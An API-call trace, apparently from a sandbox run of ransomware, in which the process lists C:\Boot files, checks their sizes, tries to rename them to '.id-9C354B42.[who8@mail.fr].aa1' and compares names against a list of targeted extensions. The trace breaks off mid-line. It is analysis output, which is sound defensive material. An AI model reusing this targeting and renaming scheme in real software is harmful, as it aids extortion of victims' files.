os_tid = 0xb98 [0195.022] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10000) returned 0x590660 [0195.023] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10000) returned 0x5a0668 [0195.023] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x540468 [0195.023] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x6) returned 0x52a388 [0195.023] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x540480 [0195.023] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x100000) returned 0x3630020 [0195.024] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x540498 [0195.024] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x540498, Size=0x20) returned 0x56fae8 [0195.024] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x540498 [0195.024] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x540498, Size=0x20) returned 0x56fac0 [0195.024] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76c20000 [0195.024] GetProcAddress (hModule=0x76c20000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76c4d650 [0195.024] Wow64DisableWow64FsRedirection (in: OldValue=0x2b9ff58 | out: OldValue=0x2b9ff58*=0x0) returned 1 [0195.024] lstrlenW (lpString="kernel32.dll") returned 12 [0195.024] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x56fae8 | out: hHeap=0x4f0000) returned 1 [0195.024] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0195.024] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x56fac0 | out: hHeap=0x4f0000) returned 1 [0195.024] Sleep (dwMilliseconds=0x64) [0195.215] lstrcmpiW (lpString1=".ttf", lpString2=".aa1") returned 1 [0195.215] lstrlenW (lpString="jpn_boot.ttf") returned 12 [0195.215] CreateFileW (lpFileName="C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x154 [0196.622] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x2b9ff1c | out: lpFileSize=0x2b9ff1c*=1984228) returned 1 [0196.622] CloseHandle (hObject=0x154) returned 1 [0196.622] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf")) returned 0x20 [0196.622] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\jpn_boot.ttf.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0196.622] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\jpn_boot.ttf.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf.id-9c354b42.[who8@mail.fr].aa1")) returned 0 [0196.623] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0196.623] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0196.623] lstrlenW (lpString=".doc") returned 4 [0196.623] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0196.623] lstrlenW (lpString=".docx") returned 5 [0196.623] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0196.623] lstrlenW (lpString=".pdf") returned 4 [0196.623] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0196.623] lstrlenW (lpString=".xls") returned 4 [0196.623] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0196.623] lstrlenW (lpString=".xlsx") returned 5 [0196.623] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0196.623] lstrlenW (lpString=".ppt") returned 4 [0196.623] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0196.623] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0196.623] lstrlenW (lpString=".zip") returned 4 [0196.623] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0196.623] lstrlenW (lpString=".rar") returned 4 [0196.623] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0196.623] lstrlenW (lpString=".bz2") returned 4 [0196.623] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0196.623] lstrlenW (lpString=".7z") returned 3 [0196.623] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0196.623] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0196.623] lstrlenW (lpString=".dbf") returned 4 [0196.623] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0196.623] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0196.623] lstrlenW (lpString=".1cd") returned 4 [0196.623] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0196.623] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0196.623] lstrlenW (lpString=".jpg") returned 4 [0196.623] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0196.624] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0196.624] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0196.624] lstrlenW (lpString=".doc") returned 4 [0196.624] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0196.624] lstrlenW (lpString=".docx") returned 5 [0196.624] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0196.624] lstrlenW (lpString=".pdf") returned 4 [0196.624] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0196.624] lstrlenW (lpString=".xls") returned 4 [0196.624] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0196.624] lstrlenW (lpString=".xlsx") returned 5 [0196.624] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0196.624] lstrlenW (lpString=".ppt") returned 4 [0196.624] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0196.624] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0196.624] lstrlenW (lpString=".zip") returned 4 [0196.624] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0196.624] lstrlenW (lpString=".rar") returned 4 [0196.624] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0196.624] lstrlenW (lpString=".bz2") returned 4 [0196.625] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0196.625] lstrlenW (lpString=".7z") returned 3 [0196.625] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0196.625] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0196.625] lstrlenW (lpString=".dbf") returned 4 [0196.625] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0196.625] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0196.625] lstrlenW (lpString=".1cd") returned 4 [0196.625] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0196.625] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0196.625] lstrlenW (lpString=".jpg") returned 4 [0196.625] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0196.626] lstrcmpiW (lpString1=".mui", lpString2=".aa1") returned 1 [0196.626] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0196.626] CreateFileW (lpFileName="C:\\Boot\\nb-NO\\bootmgr.exe.mui" (normalized: "c:\\boot\\nb-no\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x154 [0196.626] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x2b9ff1c | out: lpFileSize=0x2b9ff1c*=88144) returned 1 [0196.626] CloseHandle (hObject=0x154) returned 1 [0196.626] GetFileAttributesW (lpFileName="C:\\Boot\\nb-NO\\bootmgr.exe.mui" (normalized: "c:\\boot\\nb-no\\bootmgr.exe.mui")) returned 0x20 [0196.626] GetFileAttributesW (lpFileName="C:\\Boot\\nb-NO\\bootmgr.exe.mui.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\boot\\nb-no\\bootmgr.exe.mui.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0196.627] CreateFileW (lpFileName="C:\\Boot\\nb-NO\\bootmgr.exe.mui" (normalized: "c:\\boot\\nb-no\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0196.627] lstrlenW (lpString="C:\\Boot\\nb-NO\\bootmgr.exe.mui") returned 29 [0196.627] lstrlenW (lpString="C:\\Boot\\nb-NO\\bootmgr.exe.mui") returned 29 [0196.627] lstrlenW (lpString=".doc") returned 4 [0196.627] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0196.627] lstrlenW (lpString=".docx") returned 5 [0196.627] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0196.627] lstrlenW (lpString=".pdf") returned 4 [0196.627] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0196.627] lstrlenW (lpString=".xls") returned 4 [0196.627] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0196.628] lstrlenW (lpString=".xlsx") returned 5 [0196.628] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0196.628] lstrlenW (lpString=".ppt") returned 4 [0196.628] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0196.628] lstrlenW (lpString="C:\\Boot\\nb-NO\\bootmgr.exe.mui") returned 29 [0196.628] lstrlenW (lpString=".zip") returned 4 [0196.628] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0196.628] lstrlenW (lpString=".rar") returned 4 [0196.628] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0196.629] lstrlenW (lpString=".bz2") returned 4 [0196.629] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0196.629] lstrlenW (lpString=".7z") returned 3 [0196.629] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0196.629] lstrlenW (lpString="C:\\Boot\\nb-NO\\bootmgr.exe.mui") returned 29 [0196.629] lstrlenW (lpString=".dbf") returned 4 [0196.629] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0196.629] lstrlenW (lpString="C:\\Boot\\nb-NO\\bootmgr.exe.mui") returned 29 [0196.629] lstrlenW (lpString=".1cd") returned 4 [0196.629] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0196.629] lstrlenW (lpString="C:\\Boot\\nb-NO\\bootmgr.exe.mui") returned 29 [0196.630] lstrlenW (lpString=".jpg") returned 4 [0196.630] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0196.630] lstrlenW (lpString="C:\\Boot\\nb-NO\\bootmgr.exe.mui") returned 29 [0196.630] lstrlenW (lpString="C:\\Boot\\nb-NO\\bootmgr.exe.mui") returned 29 [0196.630] lstrlenW (lpString=".doc") returned 4 [0196.630] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0196.630] lstrlenW (lpString=".docx") returned 5 [0196.630] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0196.630] lstrlenW (lpString=".pdf") returned 4 [0196.630] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0196.630] lstrlenW (lpString=".xls") returned 4 [0196.630] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0196.631] lstrlenW (lpString=".xlsx") returned 5 [0196.631] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0196.631] lstrlenW (lpString=".ppt") returned 4 [0196.631] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0196.631] lstrlenW (lpString="C:\\Boot\\nb-NO\\bootmgr.exe.mui") returned 29 [0196.631] lstrlenW (lpString=".zip") returned 4 [0196.631] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0196.631] lstrlenW (lpString=".rar") returned 4 [0196.631] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0196.631] lstrlenW (lpString=".bz2") returned 4 [0196.631] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0196.631] lstrlenW (lpString=".7z") returned 3 [0196.631] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0196.631] lstrlenW (lpString="C:\\Boot\\nb-NO\\bootmgr.exe.mui") returned 29 [0196.631] lstrlenW (lpString=".dbf") returned 4 [0196.632] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0196.632] lstrlenW (lpString="C:\\Boot\\nb-NO\\bootmgr.exe.mui") returned 29 [0196.632] lstrlenW (lpString=".1cd") returned 4 [0196.632] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0196.632] lstrlenW (lpString="C:\\Boot\\nb-NO\\bootmgr.exe.mui") returned 29 [0196.632] lstrlenW (lpString=".jpg") returned 4 [0196.632] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0196.632] lstrcmpiW (lpString1=".mui", lpString2=".aa1") returned 1 [0196.632] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0196.632] CreateFileW (lpFileName="C:\\Boot\\nl-NL\\bootmgr.exe.mui" (normalized: "c:\\boot\\nl-nl\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x154 [0196.633] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x2b9ff1c | out: lpFileSize=0x2b9ff1c*=90704) returned 1 [0196.633] CloseHandle (hObject=0x154) returned 1 [0196.633] GetFileAttributesW (lpFileName="C:\\Boot\\nl-NL\\bootmgr.exe.mui" (normalized: "c:\\boot\\nl-nl\\bootmgr.exe.mui")) returned 0x20 [0196.633] GetFileAttributesW (lpFileName="C:\\Boot\\nl-NL\\bootmgr.exe.mui.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\boot\\nl-nl\\bootmgr.exe.mui.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0196.633] CreateFileW (lpFileName="C:\\Boot\\nl-NL\\bootmgr.exe.mui" (normalized: "c:\\boot\\nl-nl\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0196.633] lstrlenW (lpString="C:\\Boot\\nl-NL\\bootmgr.exe.mui") returned 29 [0196.633] lstrlenW (lpString="C:\\Boot\\nl-NL\\bootmgr.exe.mui") returned 29 [0196.633] lstrlenW (lpString=".doc") returned 4 [0196.633] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0196.633] lstrlenW (lpString=".docx") returned 5 [0196.633] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0196.633] lstrlenW (lpString=".pdf") returned 4 [0196.633] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0196.633] lstrlenW (lpString=".xls") returned 4 [0196.633] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0196.633] lstrlenW (lpString=".xlsx") returned 5 [0196.633] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0196.633] lstrlenW (lpString=".ppt") returned 4 [0196.633] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0196.633] lstrlenW (lpString="C:\\Boot\\nl-NL\\bootmgr.exe.mui") returned 29 [0196.634] lstrlenW (lpString=".zip") returned 4 [0196.634] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0196.634] lstrlenW (lpString=".rar") returned 4 [0196.634] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0196.634] lstrlenW (lpString=".bz2") returned 4 [0196.634] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0196.634] lstrlenW (lpString=".7z") returned 3 [0196.634] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0196.634] lstrlenW (lpString="C:\\Boot\\nl-NL\\bootmgr.exe.mui") returned 29 [0196.634] lstrlenW (lpString=".dbf") returned 4 [0196.634] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0196.634] lstrlenW (lpString="C:\\Boot\\nl-NL\\bootmgr.exe.mui") returned 29 [0196.634] lstrlenW (lpString=".1cd") returned 4 [0196.634] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0196.634] lstrlenW (lpString="C:\\Boot\\nl-NL\\bootmgr.exe.mui") returned 29 [0196.634] lstrlenW (lpString=".jpg") returned 4 [0196.634] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0196.635] lstrlenW (lpString="C:\\Boot\\nl-NL\\bootmgr.exe.mui") returned 29 [0196.635] lstrlenW (lpString="C:\\Boot\\nl-NL\\bootmgr.exe.mui") returned 29 [0196.635] lstrlenW (lpString=".doc") returned 4 [0196.635] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0196.635] lstrlenW (lpString=".docx") returned 5 [0196.635] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0196.635] lstrlenW (lpString=".pdf") returned 4 [0196.635] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0196.635] lstrlenW (lpString=".xls") returned 4 [0196.635] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0196.635] lstrlenW (lpString=".xlsx") returned 5 [0196.635] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0196.635] lstrlenW (lpString=".ppt") returned 4 [0196.635] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0196.635] lstrlenW (lpString="C:\\Boot\\nl-NL\\bootmgr.exe.mui") returned 29 [0196.635] lstrlenW (lpString=".zip") returned 4 [0196.635] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0196.635] lstrlenW (lpString=".rar") returned 4 [0196.635] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0196.635] lstrlenW (lpString=".bz2") returned 4 [0196.635] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0196.635] lstrlenW (lpString=".7z") returned 3 [0196.635] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0196.635] lstrlenW (lpString="C:\\Boot\\nl-NL\\bootmgr.exe.mui") returned 29 [0196.635] lstrlenW (lpString=".dbf") returned 4 [0196.635] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0196.635] lstrlenW (lpString="C:\\Boot\\nl-NL\\bootmgr.exe.mui") returned 29 [0196.635] lstrlenW (lpString=".1cd") returned 4 [0196.635] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0196.636] lstrlenW (lpString="C:\\Boot\\nl-NL\\bootmgr.exe.mui") returned 29 [0196.636] lstrlenW (lpString=".jpg") returned 4 [0196.636] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0196.636] lstrcmpiW (lpString1=".mui", lpString2=".aa1") returned 1 [0196.636] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0196.636] CreateFileW (lpFileName="C:\\Boot\\pl-PL\\bootmgr.exe.mui" (normalized: "c:\\boot\\pl-pl\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x154 [0196.636] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x2b9ff1c | out: lpFileSize=0x2b9ff1c*=90704) returned 1 [0196.636] CloseHandle (hObject=0x154) returned 1 [0196.636] GetFileAttributesW (lpFileName="C:\\Boot\\pl-PL\\bootmgr.exe.mui" (normalized: "c:\\boot\\pl-pl\\bootmgr.exe.mui")) returned 0x20 [0196.636] GetFileAttributesW (lpFileName="C:\\Boot\\pl-PL\\bootmgr.exe.mui.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\boot\\pl-pl\\bootmgr.exe.mui.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0196.636] CreateFileW (lpFileName="C:\\Boot\\pl-PL\\bootmgr.exe.mui" (normalized: "c:\\boot\\pl-pl\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0196.637] lstrlenW (lpString="C:\\Boot\\pl-PL\\bootmgr.exe.mui") returned 29 [0196.637] lstrlenW (lpString="C:\\Boot\\pl-PL\\bootmgr.exe.mui") returned 29 [0196.637] lstrlenW (lpString=".doc") returned 4 [0196.637] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0196.637] lstrlenW (lpString=".docx") returned 5 [0196.637] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0196.637] lstrlenW (lpString=".pdf") returned 4 [0196.637] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0196.637] lstrlenW (lpString=".xls") returned 4 [0196.637] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0196.637] lstrlenW (lpString=".xlsx") returned 5 [0196.637] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0196.637] lstrlenW (lpString=".ppt") returned 4 [0196.637] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0196.637] lstrlenW (lpString="C:\\Boot\\pl-PL\\bootmgr.exe.mui") returned 29 [0196.637] lstrlenW (lpString=".zip") returned 4 [0196.637] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0196.637] lstrlenW (lpString=".rar") returned 4 [0196.637] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0196.637] lstrlenW (lpString=".bz2") returned 4 [0196.637] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0196.637] lstrlenW (lpString=".7z") returned 3 [0196.637] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0196.637] lstrlenW (lpString="C:\\Boot\\pl-PL\\bootmgr.exe.mui") returned 29 [0196.637] lstrlenW (lpString=".dbf") returned 4 [0196.637] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0196.637] lstrlenW (lpString="C:\\Boot\\pl-PL\\bootmgr.exe.mui") returned 29 [0196.637] lstrlenW (lpString=".1cd") returned 4 [0196.637] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0196.638] lstrlenW (lpString="C:\\Boot\\pl-PL\\bootmgr.exe.mui") returned 29 [0196.638] lstrlenW (lpString=".jpg") returned 4 [0196.638] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0196.638] lstrlenW (lpString="C:\\Boot\\pl-PL\\bootmgr.exe.mui") returned 29 [0196.638] lstrlenW (lpString="C:\\Boot\\pl-PL\\bootmgr.exe.mui") returned 29 [0196.638] lstrlenW (lpString=".doc") returned 4 [0196.638] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0196.638] lstrlenW (lpString=".docx") returned 5 [0196.638] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0196.638] lstrlenW (lpString=".pdf") returned 4 [0196.638] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0196.638] lstrlenW (lpString=".xls") returned 4 [0196.638] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0196.638] lstrlenW (lpString=".xlsx") returned 5 [0196.638] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0196.638] lstrlenW (lpString=".ppt") returned 4 [0196.638] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0196.638] lstrlenW (lpString="C:\\Boot\\pl-PL\\bootmgr.exe.mui") returned 29 [0196.638] lstrlenW (lpString=".zip") returned 4 [0196.638] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0196.638] lstrlenW (lpString=".rar") returned 4 [0196.638] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0196.638] lstrlenW (lpString=".bz2") returned 4 [0196.638] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0196.639] lstrlenW (lpString=".7z") returned 3 [0196.639] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0196.639] lstrlenW (lpString="C:\\Boot\\pl-PL\\bootmgr.exe.mui") returned 29 [0196.639] lstrlenW (lpString=".dbf") returned 4 [0196.639] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0196.639] lstrlenW (lpString="C:\\Boot\\pl-PL\\bootmgr.exe.mui") returned 29 [0196.639] lstrlenW (lpString=".1cd") returned 4 [0196.639] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0196.639] lstrlenW (lpString="C:\\Boot\\pl-PL\\bootmgr.exe.mui") returned 29 [0196.639] lstrlenW (lpString=".jpg") returned 4 [0196.639] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0196.639] lstrcmpiW (lpString1=".mui", lpString2=".aa1") returned 1 [0196.639] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0196.639] CreateFileW (lpFileName="C:\\Boot\\pt-BR\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-br\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x154 [0196.640] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x2b9ff1c | out: lpFileSize=0x2b9ff1c*=90176) returned 1 [0196.640] CloseHandle (hObject=0x154) returned 1 [0196.640] GetFileAttributesW (lpFileName="C:\\Boot\\pt-BR\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-br\\bootmgr.exe.mui")) returned 0x20 [0196.640] GetFileAttributesW (lpFileName="C:\\Boot\\pt-BR\\bootmgr.exe.mui.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\boot\\pt-br\\bootmgr.exe.mui.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0196.640] CreateFileW (lpFileName="C:\\Boot\\pt-BR\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-br\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0196.640] lstrlenW (lpString="C:\\Boot\\pt-BR\\bootmgr.exe.mui") returned 29 [0196.641] lstrlenW (lpString="C:\\Boot\\pt-BR\\bootmgr.exe.mui") returned 29 [0196.641] lstrlenW (lpString=".doc") returned 4 [0196.641] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0196.641] lstrlenW (lpString=".docx") returned 5 [0196.641] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0196.641] lstrlenW (lpString=".pdf") returned 4 [0196.641] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0196.641] lstrlenW (lpString=".xls") returned 4 [0196.641] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0196.641] lstrlenW (lpString=".xlsx") returned 5 [0196.641] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0196.641] lstrlenW (lpString=".ppt") returned 4 [0196.641] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0196.641] lstrlenW (lpString="C:\\Boot\\pt-BR\\bootmgr.exe.mui") returned 29 [0196.641] lstrlenW (lpString=".zip") returned 4 [0196.642] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0196.642] lstrlenW (lpString=".rar") returned 4 [0196.642] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0196.642] lstrlenW (lpString=".bz2") returned 4 [0196.642] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0196.642] lstrlenW (lpString=".7z") returned 3 [0196.642] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0196.642] lstrlenW (lpString="C:\\Boot\\pt-BR\\bootmgr.exe.mui") returned 29 [0196.642] lstrlenW (lpString=".dbf") returned 4 [0196.642] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0196.642] lstrlenW (lpString="C:\\Boot\\pt-BR\\bootmgr.exe.mui") returned 29 [0196.642] lstrlenW (lpString=".1cd") returned 4 [0196.642] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0196.642] lstrlenW (lpString="C:\\Boot\\pt-BR\\bootmgr.exe.mui") returned 29 [0196.642] lstrlenW 